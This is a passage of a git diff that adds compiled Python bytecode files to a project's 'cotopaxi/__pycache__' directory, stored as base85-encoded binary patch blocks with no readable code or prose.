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 literal 0 HcmV?d00001 diff --git a/cotopaxi/__pycache__/grpc_test_stub_pb2.cpython-311.pyc b/cotopaxi/__pycache__/grpc_test_stub_pb2.cpython-311.pyc new file mode 100644 index 0000000000000000000000000000000000000000..af7eea49eca8327b41dc3a183c4b0470c30da578 GIT binary patch literal 4463 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 literal 0 HcmV?d00001 diff --git a/cotopaxi/__pycache__/htcpcp_utils.cpython-311.pyc b/cotopaxi/__pycache__/htcpcp_utils.cpython-311.pyc new file mode 100644 index 0000000000000000000000000000000000000000..cc7acd68af81dd40de5771ce9070ce0a9088588c GIT binary patch literal 2955 zcmb7GOH3O_7@mFjiJb%pjROr?9*M9T43s8N+U5ayphiL{IH_W_S}oo&Ua)uF*)b2- zv>Z^CLk}D(fhtwy(9%|%EA?3A)T1r=fL20^RP~UXBT^|!Fa2kiH8G$l9hTp-|NqZF z|7*V4pTprGg3+-13%(Aszu1dAJo}Tq37D)S6(x|$seFb@aH^n+89pl{gshklIRx*X 